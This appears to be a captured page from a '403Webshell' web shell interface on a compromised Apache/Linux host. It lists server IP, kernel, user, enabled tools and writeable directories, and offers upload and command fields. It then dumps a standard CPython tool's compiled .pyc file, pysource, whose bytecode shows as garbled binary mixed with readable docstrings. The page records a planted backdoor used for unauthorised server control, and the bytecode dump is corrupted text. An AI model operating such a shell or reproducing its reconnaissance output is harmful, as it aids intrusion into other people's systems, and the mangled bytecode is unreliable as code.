403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/pysource.cpython-36.pyc
3

x2_$�@s�dZdZddddgZddlZddlZejd�Zd	Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zedfdd�Z
edkr�xe
dg�D]Zee�q|Wed�xe
dged�D]Zee�q�WdS)aCList python source files.

There are three functions to check whether a file is a Python source, listed
here with increasing complexity:

- has_python_ext() checks whether a file name ends in '.py[w]'.
- look_like_python() checks whether the file is not binary and either has
  the '.py[w]' extension or the first line contains the word 'python'.
- can_be_compiled() checks whether the file can be compiled by compile().

The file also must be of appropriate size - not bigger than a megabyte.

walk_python_files() recursively lists all Python files under the given directories.
zOleg Broytmann, Georg Brandl�has_python_ext�looks_like_python�can_be_compiled�walk_python_files�Ns[\x00-\x08\x0E-\x1F\x7F]FcCstrt|�dS)N)�debug�print)�msg�r	�;/opt/alt/python36/lib64/python3.6/Tools/scripts/pysource.py�print_debugsrcCs�ytj|�j}Wn0tk
r@}ztd||f�dSd}~XnX|dkr^td||f�dSy
t|d�Stk
r�}ztd||f�dSd}~XnXdS)Nz%s: permission denied: %siz!%s: the file is too big: %d bytes�rbz%s: access denied: %si)�os�stat�st_size�OSErrorr�open�IOError)�fullpath�size�errr	r	r
�_open!s
rcCs|jd�p|jd�S)Nz.pyz.pyw)�endswith)rr	r	r
r2sc
Csnt|�}|dkrdS|�|j�}WdQRXtj|�rFtd|�dS|jd�sZ|jd�r^dSd|krjdSdS)NFz%s: appears to be binaryz.pyz.pywTspython)r�readline�	binary_re�searchrr)r�infile�liner	r	r
r5s
cCsrt|�}|dkrdS|�|j�}WdQRXyt||d�Wn0tk
rl}ztd||f�dSd}~XnXdS)NF�execz%s: cannot compile: %sT)r�read�compile�	Exceptionr)rr�coderr	r	r
rJsc
cs�|dkrg}x�|D]�}td|�tjj|�r>||�r�|Vqtjj|�r�td�xxtj|�D]`\}}}x|D]}||krn|j|�qnWx4|D],}tjj||�}	td|	�||	�r�|	Vq�Wq^Wqtd�qWdS)a^    Recursively yield all Python source files below the given paths.

    paths: a list of files and/or directories to be checked.
    is_python: a function that takes a file name and checks whether it is a
               Python source file
    exclude_dirs: a list of directory base names that should be excluded in
                  the search
    Nztesting: %sz    it is a directoryz    unknown type)rr
�path�isfile�isdir�walk�remove�join)
�paths�	is_pythonZexclude_dirsr"�dirpathZdirnames�	filenamesZexclude�filenamerr	r	r
r[s&



�__main__�.z
----------)r))�__doc__�
__author__�__all__r
�rerrrrrrrrr�__name__rrr	r	r	r
�<module>s"
!

Youez - 2016 - github.com/yon3zu
LinuXploit